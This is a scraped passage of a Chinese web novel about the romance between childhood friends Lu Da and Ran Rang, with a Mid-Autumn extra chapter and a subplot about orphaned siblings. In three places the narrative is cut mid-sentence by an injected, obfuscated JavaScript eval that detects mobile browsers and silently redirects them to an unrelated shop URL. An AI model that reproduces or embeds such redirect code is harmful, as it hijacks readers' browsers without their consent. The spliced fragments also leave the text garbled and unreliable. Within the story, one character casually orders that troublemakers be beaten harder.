只是回家的话……卢答转头看了看自己的家。才几步路,不知道为何变得特别遥远。 卢答左右看了下,见四下无人,便站到门前,把手伸进门口的福字后面,摸索了一会儿,指尖果然触到了冰凉的硬物。 冉让从小到大放钥匙的地方都和自己一样,太好猜。 卢答把钥匙捏出来,开了门,又原样放了回去。 一开门,冷气就扑到了脸上。冉让体热,室内空调打得很低,一进门凉意袭人,冻得人发颤。 还有隐隐约约的花香,馥郁但不刺鼻。 卢答捋了把手臂上被激起的鸡皮疙瘩,顺手把带来的面包放到厨房料理台上,环视一圈。 几天没见,冉让屋内有了个大变样。 他家具本就不多,原本室内空荡荡,现在餐桌和沙发都往旁边移了些,空出一个角落来,放着台跑步机。 卢答溜达溜达走过去,看见墙上还挂着几幅球拍,旁边新的展示柜上零散地摆了些护具、手胶和几桶球。 卢答顺手帮他摆正。 拉开球袋一看,牌子很眼熟,拍柄底部还刻着大写字母“R”,竟然是冉让的定制拍。 卢答觉得有点好笑:这家伙是把家当都搬过来了吗? 厨房也没人,只有卧室里隐隐传来打电话的声音。403和401的格局类似,但卧室多了个可以晾晒衣服的小露台。冉让估计在露台。 卢答放轻了脚步,向他走过去。 12. 是香雪兰 卧室门半掩,能看到冉让站在露台上,他全身隐于夜色中,只有一个影影绰绰的高大身影。 从小一起长大,冉让在卢答面前又习惯性地弯腰,平时没感觉,此时剪影给了卢答极强的冲击力。 他在心里比划了下,觉得冉让实在太大只了,然后想起冉让站在自己面前能把自己全遮住,一丝空隙都不留。 冉让骨相好,眉峰高,侧脸更是立体,此时和人讲着电话,神情极平静,却意外露出沉郁眉目以及其下的冷淡。 那是一种埋藏极深的冷,显出深海暗礁一般的冷硬质地与神秘。 卢答暗自欣赏了一会儿:臭脸的冉让看多了,冷脸的冉让也别有风味。 他听见冉让的声音冷淡道:“嗯。” 对面不知道说了什么,冉让沉吟了一会儿,又道:“对,下手再狠点。” 他说:“尤其是那个扔椅子的。” 啊。卢答垂眸,想起了廖全下午告诉自己还有一拨人也在出手教训那一帮闹事者。原来是这样。 如果不是现在自己偷听到,冉让大概永远也不会告诉自己,他在背后做了多少事。 他已经习惯在卢答看不见的地方处理好很多事,一顿卢答爱吃的饭、一颗他心爱的宝石,不管是高中时自顾自的转班,还是大学时千里奔袭。 卢答把头轻轻靠在墙壁上,陷入回忆。 他是被家里娇惯着长大的,但母亲忙于公司事务,父亲工作也繁忙,一有点闲暇除了莳花弄草,就是围着母亲转。 纵然两人再精心地爱护卢答,也力有不逮。 从小到大,他身边人流来去,但一直坚如磐石,一直陪伴他的只有冉让。 所以他明知道冉让对自己保护过度,却总是无法拒绝、无法坦诚。 卢答轻轻吸了口气,目光落到手上,要上班,所以绷带已解下。 本就微小的伤口结了浅褐色的小痂,乍看如一条细长的虫,狰狞爬行在卢答光洁细腻的手背上。 卢答垂眸,轻轻地摩挲过去,又想起那天冉让替自己包扎时认真的侧脸。 大概世界上所有的道理都是说起来容易做起来难的吧? 卢答不知为何觉得有点好笑:自己和小孩子讲话时总是一套一套,偏偏遇到冉让时就没辙了。 那声吸气很轻,但冉让似乎听到了动静,他挂了电话,转过头,视线精准地隔着门缝定位到了卢答的位置,眸光冷厉:“谁?” 卢答未来得及回答,他已经几步走了出来,见到卢答,面色才缓和,想到正在冷战,又板起脸,只是怎么看怎么色厉内荏。 “是我,”卢答下意识扬起笑脸,还沉浸在思绪见,一时不知道说些什么,本能地道:“你是狗耳朵吗,怎么这么灵。” 他尾音拉长,近于嗔怪,嗔多于怪,本就清润的声音竟像撒娇。眼尾挑起,笑眼弯弯,是没有瑕疵、最招人喜欢的那款笑。 冉让看着他,却反而轻而缓慢地皱起了眉。 卢答往房间走了两步,见冉让站在原地不动,有点疑惑地转头看他,头轻轻一歪:“怎么了。” 卢答不知道他有点紧张就会眨眨眼睛。 冉让瞧见他眼底深处有一些不自知的忐忑,便走上前,轻轻捏了捏卢答的耳垂,低声问:“怎么了?” 为什么心情不好,是谁让你不开心了? 到底是谁说冉让粗线条的? 卢答想,他明明是直觉系。 卢答想拂开他手,答非所问:“别靠这么近,我们还在冷战。” “你不开心,冷战暂停。” 冉让补充:“鉴于现在的情况符合我们签订的《暂时休战条约》,我要使用冷战暂停权。” “什么嘛,”卢答忍不住,眼睛再次弯起来,眼睛里的琥珀湖泊在漾,水纹剪出粼粼的彩,这下他是真的笑了:“这都是九岁时签订的了。你好幼稚。” 不过很快卢答补充:“……那现在你只剩下两次暂停机会了。” 见卢答终于笑了,冉让眼底也有星点的笑意亮起,他应道:“好的。” 然后他向卢答靠过来,卢答早有预料,仍他笼罩住自己。甚至主动地伸出手,揽住冉让的脖颈。 冉让不知道在外面站了多久,更不深露不重的时刻,竟然带了一丝凉意。他像一座下雨的山一样像卢答倾颓过来,单手把他抱起来,轻松简易。 他走得快,但每一步都稳,卢答几乎没感受到颠簸。只一阵天旋地转,他就被冉让摁在了餐桌上。 背抵着冰冷的墙,前方是火热的躯体,两人鼻尖对着鼻尖,暗礁般黑沉沉的眼和湖泊般的眼对上,在眼底投出彼此一个小小的像。 卢答手仍然搭在冉让脖颈上,却也只是搭着,似乎无其他多余的动作。卷翘睫毛轻轻翕动着,带着点微不可察的紧张和期待等着冉让。 冉让知道他情绪一低落,就又粘人又要哄,轻轻笑了一下。气流蹿到卢答耳膜里,像细小的电流。 “宝宝,亲一下。” 卢答不给他亲,心里还是有微不可查的酸胀,生着气,便咬住冉让虎口,自下向上睨来一眼。像猫一样。 咬人也像猫,根本不痛。 可爱。 冉让轻笑,任由他咬,弯腰把下巴放到卢答肩上,闭上眼睛,敛目听着卢答的心跳砰砰,隔着胸腔和自己的心跳声交叠在一起。 冉让骨骼密度大,人又高,靠过来时像一座山张开怀抱,重重的。但卢答喜欢这样沉甸甸的、极烫的拥抱。 这让他感到安心。 让卢答在茫然的、纠结的、无措的思绪海洋中缓缓沉到礁石上,不再下坠。即使这混乱本就是身前这个人带来的,他也依然贪恋、沉迷这样的拥抱。 贪婪、沉迷冉让。 这个人总让能牵引自己的情绪,又总让自己高兴起来。所以尽管冉让毫不知情,但在他看不见的地方,卢答决定原谅他了。 保护我吧,他想。尽你所能,尽我所能。 冉让也喜欢这样的拥抱。 卢答大概是刚洗完澡过来的。此刻他鼻尖尽是卢答沐浴露的味道,柑橘味清新,比卢答曾用的那款更甜,甜而不腻,馋人得紧,使卢答闻起来像一颗巨大的橘子软糖。 冉让深吸了一口,忍住把他吞入肚腹的冲动,靠在卢答肩头,含糊着问:“换沐浴露了吗?” 卢答松开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344673|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他虎口,嗯一声:“你是狗鼻子吧。”两个人蓦然都觉得这对话有点似曾相识,一齐笑了。 笑够了,卢答抬起头。眼尾不知何时已洇开片红,视线直汪汪、清凌凌。 “不再咬会儿?”冉让任由他发泄。 卢答摇摇头,张开嘴,给他看自己洁白整齐的牙,抱怨:“你怎么连手也这么硬,我牙都酸。” 说话间,他舌尖探出一截,艳红的一小截卷在齿间,像鱼在白海里翻涌。冉让看得眼热,问:“真的不咬了?” 卢答不知道他为什么反复征询,点点头。 下一刻,冉让再次覆上来,拇指轻轻地摩挲卢答的唇瓣,哄他张嘴:“那该轮到我咬了。” “亲一亲,乖宝。” 冉让其余手指捏着卢答下巴,拇指扣住卢答的下唇,不容抗拒,呼吸急促而贪婪,像未曾餍足而终于可以短暂释放的野兽。 冉让靠近,呼吸交错,两人唇瓣相贴。露水气息和快散去的海洋味充斥着卢答的鼻尖,凉意惊人,但冉让是烫的。 吻也是烫的。 冉让吮/吸卢答的唇瓣,亲得啧啧作响尤觉不够,舌头灵活地卷走卢答口中所有津液,连他上颚都仔仔细细地照顾着。 屋内昏暗朦胧,没人想起开灯,月光在很远的地方静悄悄点亮一角,水声啧啧,令人面红耳赤。 当一声,似乎有什么东西掉在地上,脆而莽撞,冉让分神抽空看了一眼:“没事,叉子。” 冉让声音暗哑,说话间热气咝咝。卢答被他亲得腿软,不住地往后退着,直到背完全抵在墙上。 冉让察觉到了,怕他硌得痛,把他放到了桌面上。 冉让前两天刚换过桌布,亚麻针织,碎花琳琅,斑斓的彩。卢答喜欢花,喜欢彩,所以这是冉让房间里为数不多的亮色。 此刻卢答躺在上面,洁白的脸庞像花海里的一支白玉兰。 吃起来也一样馥郁。 冉让吻得极深,迫不及待想汲取更多。卢答感觉他舌头都要伸进自己喉咙里了,被吻得眼角泛泪,又被他吃了半晌舌头才推开他。 被推开后冉让也没走远,依旧抱着卢答,把他箍在自己怀抱里。 卢答被他咬着鼻尖,亲得很痒,笑得闷闷,忍不住往后挣,感觉后背压住了什么,有点疑惑并着惊慌,在啄吻的间隙叫冉让:“冉让,小追……冉追!” “喜欢。再叫几声。”冉让喜欢听他叫自己的名字,直白道。 比亲吻更能让人脸红的是他的话,卢答两颊都粉了,挣起颈子,也是白玉似的玲珑,像雪白的羽毛柔软又纤立的鸟。 动作间,他把背后的东西碾得更碎,汁液迸溅出来,空气里一时有了极浓重的香味,弥山亘野一般地,仿佛两人一同坠落于香雾腾腾的花丛之间。 卢答嗅到了,眨眨眼睛,似乎有点茫然:“小追……是什么?” 冉让不逗他了,把他抱起来,闷闷地笑,笑容里有一点恶作剧成功的得意。 “花。” 他亲亲卢答的脸,唇瓣贴一贴脸颊,一触即分,珍重非常,也亲昵非常,黑眼睛都灼灼生光,冉让说:“是花。” 是香雪兰。 13. 中秋番外[番外] 关于中秋、月饼和窝爱泥 冉让嗜甜,又不挑食,对月饼可谓是来者不拒。 只有一种口味他不吃,那就是豆沙。 此事说来话长。 卢答小时候身体差,喝苦药喝得食欲不振,本身胃口也小,不像长大那么好伺候,是一位这也不吃那也不吃的娇贵人士。 偏偏他擅长卖乖又会讨巧,父母看他打吊瓶青紫的手也心痛,嘴上说不能这样惯着孩子,行动上吩咐阿姨只做卢答爱吃的菜。 就这样养成了一只小小挑嘴安。 冉让恰恰相反……等会儿,扯远了,让我们回到中秋夜。 某年,某动画片风靡全国,正义感极强的主角深受小孩子们欢迎。 那年中秋,某品牌的月饼和这动画一起联合推出了20xx年中秋限量特别款月饼,吃月饼,能抽角色画片。 卢答喜欢这动画并不是秘密,故亲朋好友来拜访时都给卢答捎上一箱联名月饼。 卢答很开心,抱住来访者们的大腿说谢谢,他人一小只,脸还肉乎乎的,仰起脸时笑得灿烂,露出酒窝和小米牙。 亲友们喜欢得紧,点点他脸上的小肉窝。 “风靡全国”的风靡受众里,当然还包括未成形的F4幼年体中的其他三位。 收到礼物的卢答也没有忘记自己的几位好朋友,几家住得近,他挨家挨户地过去,非常义气地把限量月饼分给了好友,当然,经过了送礼者的同意。 楚恕之碰巧在崔溯洄家,两人一齐坐在客厅地毯上看这部动画,楚恕之盯着屏幕,手还能分心地在下面解九连环玩。 两人也都很喜欢这个动画,收到礼物时,非常捧场地给卢答海豹式鼓掌。 卢答不藏功与名地退场,再去找冉让。 冉让也喜欢这动画,但他自小就是半个冰块脸,并不爱笑,除了冷脸就是臭脸,五官已能看出后日的立体俊逸,也有了后世的冷淡,让人很难猜出他的想法。 故而,很少有人知道他也喜欢这部动画。 卢答踮起脚走进冉让卧室时,他还在睡觉,整个人窝在被子里,只露出几簇头发。 是的,大概酷哥小时候也不能拒绝被子的温暖,冉让非常爱睡懒觉,也非常爱赖床。非常,非常。 卢答轻手轻脚地把月饼放在床头柜上,给他掖了掖被子,再轻手轻脚地退出去。 等回到家,正好可以看这部动画的重播,卢答迫不及待坐到电视机前。屏幕里的主角行侠仗义,锄强扶弱,卢答看着它的英姿,眼睛闪闪发亮。 一集播完,到了广告,恰好在宣传这联合推出的新款月饼,其中的那张主角款画片,正是新一集里潇潇洒洒的造型呢。 卢答想起月饼,便跑到房间里拆画片。 一盒月饼三个,而集齐整套画片需要九张角色卡,看似不难,但有些出场率较低的角色,掉率却非常高。 卢答最想要的主角三盒里都没抽到。 他看着散落一地的画片气馁,手不知不觉地伸向下一盒,就此陷入拆卡陷阱,愈挫愈勇,拆得天昏地暗,不知天地为何物,等到终于集齐一整套,卢答长吁一口气。 回过神来时,十几盒月饼全被拆完了,卢答大惊失色。 要知道,家人允许他挑食,可没同意让他浪费粮食啊。 卢答坐在月饼小山中发愣,呆呆地想:这要吃到猴年马月啊? * 等终于睡醒的冉让来找他,推开卧室门而入时,就看见了卢答可怜巴巴的脸。 卢答一双眼里含着泪,泪水清澈,琥珀眼睛清透,更如水洗过的一般,可怜巴巴地看向冉让。 不知道他怎么哭的,此时鼻尖还挂着一滴晶莹的泪。加上脸颊的婴儿肥,看起来可怜又可爱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344674|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 冉让环视了一圈,看他周围散落的画片和已拆封的月饼小山就明白了大概。 “别哭,”冉让走过去,笨拙地用衣角给卢答擦眼泪,安慰他:“我帮你一起吃。” 卢答胃小,吃了几块就实在吃不下了。剩下的只能都交给冉让解决。 那会儿月饼款式不多,老式月饼多为豆沙馅儿,玫瑰豆沙,蛋黄豆沙,莲蓉豆沙……总之,离不开豆沙馅。 馅料给的也很足,一块实心月饼,托在手心里沉甸甸的。 噎得冉让要翻白眼了。 卢答急忙去给他倒水,蹲在他面前,又焦急又内疚,眼泪又要下来了。冉让接过水猛喝,勉强把气顺过来了,伸手替他揩揩眼泪。 “不哭,我还能吃。” 卢答实在是有心而无力,只能摸着自己圆滚滚的肚子,在旁边给他加油助威。 “小追,你好厉害喔!” “小追小追,你怎么这么棒呀?” “小追……没有你我怎么办呀呜呜。” 冉让就在这一声声赞美里找不着北,硬生生地吃了一块又一块,撑得月饼堵到了嗓子眼。 最后也还是没吃完,冉让揣兜里带回了家,趁着无人注意之时偷偷冻进冰箱,最后成为了冉家人人迷惑但没人知道从何而来的陈年冻货老月饼。 * 第二天睡醒时,冉让觉得自己喉咙里还泛着那股甜意,打个嗝儿都是豆沙味。 他恹恹地坐起来,手肘却无意之间碰到了床头柜上的一沓东西。冉让拿起来一看,正是一套画片全集,用丝带扎着,还附了张手写纸条。 那会儿他们刚学练字,卢答坐不住,不耐烦练字,故而字还是歪歪扭扭,笔画乱飞,有点像鬼画符。 但冉让还是认出来了。 卢答说。 “小追,讠射讠射泥,窝爱泥﹥﹤” 14. 嘴不老实 躺在花泥上胡闹了一通,两个人才起来。 卢答坐在餐桌上,腿一晃一晃。刚挣动间鞋踢了一只,冉让非常自然地半蹲下来替他穿上鞋,又很顺手地笼住他脚踝,拇指扣着那粒凸出的骨头摩挲了两把。 卢答笑,作势要踢他:“你手好不老实啊。” 这人有时候真是用完就扔。 “现在又不是要亲的时候了,”冉让从鼻腔里轻轻地嗤了一声,状似不耐,举起手伸到半空给卢答看:“行了吧?” 卢答托着腮看他,沉默了两秒:“能举那只摸我腿的手吗?” “哦。”冉让沉默了两秒,才把另一只手也举起来,很没有诚意地说:“拿错了。” 这是什么赖皮鬼。 卢答右手握着左手小臂,左手对着冉让这个投降的姿势比出瞄准的手势,眼睛像模像样地微眯。 冉让没站起来,配合地捂住胸口,英气的眉轻拧,仿佛极为痛苦,成功哄好了卢安安警官。 表演欲得到满足的卢答满意地从桌上跳下来,说:“现在冷战继续。” 走过冉让身边时,还凭借着暂时的身高优势快速地撸了一把冉让的头。 嗯,还是刺刺的那个手感。 冉让蹲在原地没动,只是转过身,仍由他走远,比了个取景框,把卢答框在里面,看了会儿,他轻笑,仿佛很有趣一样。然后在卢答回头前站了起来,。 卢答要走到卧室门口了,见他还不来,朝着他招招手。 * 冉让搬了把椅子,放在厨房门口让卢答坐着,自己进去处理泡在水槽里的香雪兰,之前卢答进入房间时闻到的香味就来源于此。 冉让已经醒过了花,此时正在准备重新剪根,他昨天想得心切,提前修剪摆了一簇在餐桌上,结果全被卢答压了。 卢答现在揪起领口嗅一嗅,还能闻到极浓,艳到糜烂的花气味。 卢答把椅子反着坐,靠在椅背上看冉让摘叶掐尖。 说来奇怪,卢答父亲喜欢莳花弄草,但养啥啥死,花圃里的植物存活期最长不超过三个月,卢答也遗传到了植物杀手基因,甚至有过之而无不及。 嗯,只能养活仙人球盆栽的那一种。 与之相反的是冉让,他的母亲也爱侍弄花草,冉让就天然地精通植物养护一样,和冷漠锋利的外表极其不符。 此时,他拿着保鲜剂往花瓶里兑水,像写程序般认真,一滴一滴,还想起来问卢答:“你怎么进来的?” 两人前十分钟还在餐桌上狂乱地拥吻,亲得衣衫凌乱。 但此时一人在厨房内,一人在厨房外,都衣冠楚楚,除了卢答殷红微肿的唇之外,好似刚才的一切都没发生过。 卢答觉得他一本正经的样子很好玩,眨眨眼睛,脸不红心不跳地说:“你门没关。” 他甚至反咬一口:“我早就提醒过你要关门的。” 冉让不知道有没有信他的话,只是从鼻腔里嗯了一声,表示听到,但显出不太信任卢答的模样来。 他穿着短袖紧身背心,把几块腹肌的肌理都紧紧勾勒出来,动作时,手臂向前,小臂线条流畅,再往后,转身间隐约地露出肩胛处几条新鲜的抓痕。 卢答看得有点脸热。 恰好坐久了腰酸,卢答索性往下,整个人挂在了椅背上。后腰的酸痛隐约,却又难以忽视,卢答皱着鼻子,后知后觉地想起冉让的恶行。 他在内心谴责冉让,便别开眼不再看他,主打一个眼不见心不烦。 只是花香馥郁葱茏,一个劲儿地往鼻子里钻,卢答垂眸看着地面,脚尖对着,无意识地晃来晃去。 冉让站在厨房里,手在咔嚓咔嚓剪着,视线却始终地分了一丝余光到门外,见卢答绷直了腿,脚尖相对,一会儿又朝外晃,一会儿对回来,规律极了。 像小猫摆尾巴。 可爱。 卢答不知道他在想些什么,只是自顾自的走神。看见冉让裁剪花枝的背影,不知怎么想起了医院里郑萱替童童收拾毯子的场景。 他低头看着自己的手,细碎的伤痕错落。 很奇怪吧?他明明是靠着手工作的,也并不是第一次出门,或是第一次受伤,只是仍珍而重之的被冉让和家人捧起护住。 卢答可以言辞凿凿地给常安讲道理,落到自己身上时,卢答也不知道该说些什么。 有些东西是积年累月攒起来的,绝不是三言两语可以撼动的存在。 眼前突然多出了个玻璃瓶,是用来喝水的,没有繁复的花纹饰样,只是最简单的款式,却越发显得杯中那枝香雪兰繁茂香妍,美丽芬芳。 ——过程中,他不自觉的望冉让那边瞥了好几眼,目光漂移而无聚焦。冉让误会他想要,特地装给他玩的。 “你这算不算借花献佛啊?” 卢答在笑,握着杯壁的手却在轻微地发抖,带起杯内水面涟漪。 冉让没回头,只漫不经心一般道:“什么花什么佛,听不懂。” 卢答看着他的背影,想到:大概冉让自己都没意识到,他爱护卢答太久了,在漫长的人生里,这早已经成为了一种本能。 卢答被如此丰厚的爱意笼罩,无从拒绝。 * 冉让处理了一半,才想起来继续问卢答:“那你来做什么的。” “哦,”卢答趴在椅背后面,露出小半张脸,眼睛在灯光下泛着波纹,亮闪闪的,理直气壮:“来找你包扎啊。” 冉让加快了手里的动作,不知道自己连背都挺直了些许,还在故作不在意:“……不是说只是个小伤口吗。” 卢答见他开了二倍速的动作,在忍笑:“我已经充分认识到了我的草率和粗心。” 冉让心里暗喜,嘴上还在拿腔拿调挑刺:“那你就在那里白坐吗?” 卢答很上道,视线左右转了一圈,发现了料理台上的纸袋,问冉让:“你饿吗?” 冉让顺着他的目光看过去,视线落到了那个早就注意到的纸袋子上:“这是什么。” * 然后就演变成现在这个局面了。 卢答带着椅子一点点挪进厨房,凑到了冉让旁边,给他喂面包。 不知道郑萱是有心还是无意,这袋子里除了吐司和贝果,还有不少蜂蜜小面包,且是无馅版本。卢答捏着一个送到冉让嘴边。 蜂蜜小面包算老式糕点,郑萱做了改版,比原版多加了很多黄油和牛奶,吃起来更加蓬松香软。 底部一层脆脆的糖壳,在嘴里咬住有“咔嚓”一声,芝麻味香浓甜蜜。 对于小孩子来说略甜的点心,对冉让这个嗜甜的成年人来说刚刚好。 他吃得很满意,慢条斯理地在卢答手边咬一口,嘴好像都没怎么嚼就咽下去了,面无表情但速度极快,三口解决一个。 卢答不爱吃甜,但看冉让吃得实在香,也忍不住咬了一口,刚吃进嘴里就皱起鼻子:“真的好甜。” 冉让自然地从他手里叼走带着一圈整齐牙印的小面包,不知是无心还是有意,舌尖抵着那圈牙印。 他眼睛未眯,这次细嚼慢咽了,吃完喉结微动,意犹未尽似的,道:“……确实有点甜。” “对吧。”卢答没注意到他的小动作,还在扒拉纸袋,想找出一个符合自己口味的面包,但他本来就不爱吃面包,最后还是放弃了。 想起还在冷战,他又用另只手把冉让推远些:“记得保持距离。” “好的。”冉让吃到甜头,从善如流地退开,继续在卢答手里叼面包吃。 卢答看他剪枝剪倦了,打了个哈欠,一手投喂冉让,一手开始刷平台消息,看时装秀里的配饰,单手敲着键盘,在备忘录里记几句受启发的灵感。 他看得投入,没察觉冉让已经吃完了面包,也不再去除侧枝,只是一动不动地等自己再拿面包投喂。 半晌,见卢答还是低头沉浸在图片里,冉让有点不虞地低头,俯身向卢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344675|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答的指尖而来。 他的气息和温度都过于熟悉,卢答没有注意他的靠近,仍专心致志地观察着那些首饰上的宝石镶嵌。 直到悬在空中的手指被人咬住,卢答才猝然抬头。 并不痛,只是触感鲜明,卢答见冉让虎视眈眈看自己,像没吃饱的大狗,好笑道:“你干什么。” 冉让抬起头,看着他指上浅浅一圈牙印,觉得这像个印记,很满意。 冉让理直气壮道:“我饿了。”甚至带着控诉之意:“你说喂我的。” “行吧。”卢答真服了,又捏一个面包递过去,冉让咬住,还似有若无地舔了他指尖一下。粗糙舌苔卷过指腹,舔/舐上面沾染的甜蜜气息。 卢答下意识蜷住手,真的无奈了:“你的嘴可以老实一点吗?” 冉让点点头,但卢答觉得他八成没听进去。 蓦然,卢答想起自己和郑萱的对话:原来被喂面包真的还会舔自己的手指。 为了转移卢答注意力,冉让指指纸袋底部的一张纸,问:“这是什么?” 卢答看了一眼,随口道:“哦,面包店要招新员工,我帮店长做的海报。” 正这时,微信弹出新消息,卢答新消息吸引,没注意到冉让偷偷把海报往身后藏了藏。 崔溯洄转了几条猫猫狗狗的消息在[F4]小群里,直呼可爱,让大家都来看,还艾特了卢答和冉让,说要去他们家看狗。 难为她还记得他们在冷战,连艾特都分开发了两条。 卢答敲字:“珠子喜欢您来。” 珠子是他家狗名字,很亲人,也不躲崔溯洄,但被崔溯洄撸毛撸怕了,一被她摸久了就跑。 卢答觉得自己有点缺德,笑了出来。 冉让听见笑声,问:“刷到了什么?” 卢答把手机屏幕转给他看:“崔崔说要去我们两个的家看狗。” 冉让无奈:“她也就能摸珠子和甜甜圈。” 甜甜圈是冉让家的萨摩耶。 崔溯洄是个诡异的小动物绝缘体,只有从小认识的珠子和甜甜圈给她摸,正因如此,才会逮着这两条狗疯狂薅。 * 另一边,崔溯洄本来还在大赞自己如此贴心,连艾特都分了两条时,就见卢答帮冉让回复了,还是条语音,她点开。 卢答声音懒洋洋,还带着笑意,清脆舒朗:“小追同意了,哦,他让你别把甜甜圈薅秃。” 背景音里还能听到冉让的说话声。 所以又凑一起了? 崔溯洄:…… 崔溯洄:这两个人整天到底在搞什么?! *** 第二天。 卢答站在面包店里,有点吃惊地看着面前来应聘的这个人。 冉让单手插兜,挺拔地站在面包店门口,感觉头都要顶到门框了。 他下三白眼眼尾压得极低,锋锐淡漠,轻瞥一眼卢答:“看什么。” 又装起来了,恢复了那冷冷淡淡、对人爱答不理的样子,仿佛昨天只是个插曲。 只是他的眼神对卢答毫无威胁性。 卢答看着他,甚至不知为何笑了起来。冉让被他笑意盈盈的眼看得有点不自在:“怎么了。” 见冉让茫然,卢答的心情肉眼可见地愉悦起来,他揉揉酸痛的后腰,笑眯眯:“没事哦。” 冉让领了店员服、围裙和口罩,穿戴整齐出来。卢答替他理理领口,觉得冉让这个样子很新鲜。 冉让垂眸,见他一节颈上还有牙印,又心猿意马起来,开始幻想两个人一起上班的日常了,没注意到卢答已经脱下了围裙,换回了常服。 理好后,卢答退后一步,朝冉让挥了挥手:“再见。”话音落时,已经转身走向了门口。 冉让眼神里有藏不住的惊愕,一时之间没收住声音,问道:“你去哪?” 卢答回头朝他眨眨眼睛,狡黠极了:“顶替我上班的人来了,我当然下班咯。” 15. 晚安,小熊 逗了一把冉让,他吃瘪,卢答就心满意足地出了门。 今天也是个晴天,阳光灿烂,很快把清晨时叶片上积的薄薄一层露水晒干。 早高峰后车流不多,卢答很快到了小区楼下,循着陈助理给的详细地址摁了对应的电梯楼层。 今天是帮兄妹俩转学的日子。 卢答进门时,常安正在帮昏昏欲睡的妹妹扎头发。 常乐困得眼睛都睁不开了,见卢答来,伸出手和她打招呼。常安咬着发圈,嘴和手都不得空,只好朝卢答点点头。 卢答反身合上门,走到他们身边,看常安给妹妹扎头发。 常安的动作生疏,一个马尾不是扎得太紧绷就是扎得松松垮垮,他脸色也垮起来,和高马尾较起劲儿来。 常乐倒很有耐心,没有催促,也可能是又睡回去了。 见常安动作愈发急,卢答上前,从他手里接过常乐的发丝:“我来吧。” 他问常乐:“麻花辫可以吗?” 常乐点点头。 卢答低声示意常安:“你看,先从中间分开,再这样分成三股,然后……” 不一会儿,两只麻花辫就好了,常乐晃晃脑袋,辫子也甩一甩,可爱又俏皮。 常乐惊奇:“卢答哥哥,你怎么什么都会呀。” 面对小姑娘钦佩的目光,卢答的视线轻微地游移了一下:要知道,他的扎辫子手艺可都是在冉让家的甜甜圈身上练出来的。 注意到常安面色沮丧,卢答笑着摸了摸他头:“这不难,等你学几天也就会了。” 常安振作起来,握了握拳,点点头:“嗯!” 卢答还顺路带了早饭,不知道兄妹爱吃什么,包子、馅饼、豆浆和粥都买了些。 等俩小孩吃完,他帮着解决了剩下未动的餐点,吃得有点撑,又开始怀念冉让。 吃完,常乐跑进卧室,不知道做什么,常安则帮着妹妹整理书包。 卢答坐在餐桌边,还在和流心奶黄包斗智斗勇,心想好吃是好吃,馅儿还流沙,就是有点甜。 冉让应该喜欢。 他在走神,不自觉地打量着屋内装潢:清新明亮,简约中有童趣,一眼就能看出是有孩子的家庭。冰箱旁还有两条身高线,一高一低,是常安和常乐。 视线转到墙角,堆着两个纸箱,是东西收拾到一半的样子。 卢答想起了什么,问常安,声音放得轻:“是要搬家吗?” 陈助理昨晚办完转学手续时,和卢答提过:常乐想搬家。 卢答之前对他提的要求是以兄妹本人的想法为优先级,但如果有比较大的变动,也需要向卢答转达一份。 转学和搬家,都是常安主动提出来的。 常安胡乱地点了一下头:“总觉得门又会被人狂敲,门外有人大喊着让我们出来,而且……” 常安慢慢道:“在家里,总是想到爸爸妈妈。” 转学是因为,一场巨变后,他已经没有力气再去应对学校里那些或关心或好奇的眼神。 搬家是因为,父母的噩耗传来时,也是一个晴天。 他坐在地毯上给妹妹念着童话时,接到了宣判的电话。在电话挂断的忙音中,从窗外进来的阳光和今天一样好,一样灿烂。 他本以为卢答会劝自己,会说些什么。 但卢答只是半蹲下来,两人面对面,卢答垂下琥珀眸子,认真地看向自己:“辛苦了。” 头上传来一点温度,卢答伸手摸了摸他的头,道:“也要多相信相信我们大人啊。” 卢答长得好看,是显小的长相,平时也笑得毫无距离感,沉静下来时,才能感受到他也是非常可靠、非常值得依赖的大人。 常安眼眶一酸,嗯了一声,别过脸去。 * 兄妹带走的行李不多,只是几个纸箱并一只行李箱的衣服。 卧室里,常乐和最爱的玩偶小熊说完了告别的话,把小熊在枕头旁摆正,摸了摸它的玻璃眼珠:“晚安,小熊。” “要替我陪着爸爸妈妈哦。” 陈助理效率高,已经找好了新房和搬家公司,不过因为行李太少,搬家公司原路返回了。 常乐听见门外的哥哥在叫自己的名字:“要走了。” “来啦。” 常乐走出卧室,去牵他和卢答的手。 陈助理帮忙去办转学手续时已经提前领来了校服,此刻两人穿着板板正正、崭新的校服,打好了红领巾。 常乐看着镜中穿着新校服、扎着麻花辫的自己,觉得有点陌生:六小的校服是黄灰拼色的,三小是红白相间,款式上也有很大区别。 上学时,妈妈给自己扎的也多是高马尾,就像哥哥尝试扎的那样。 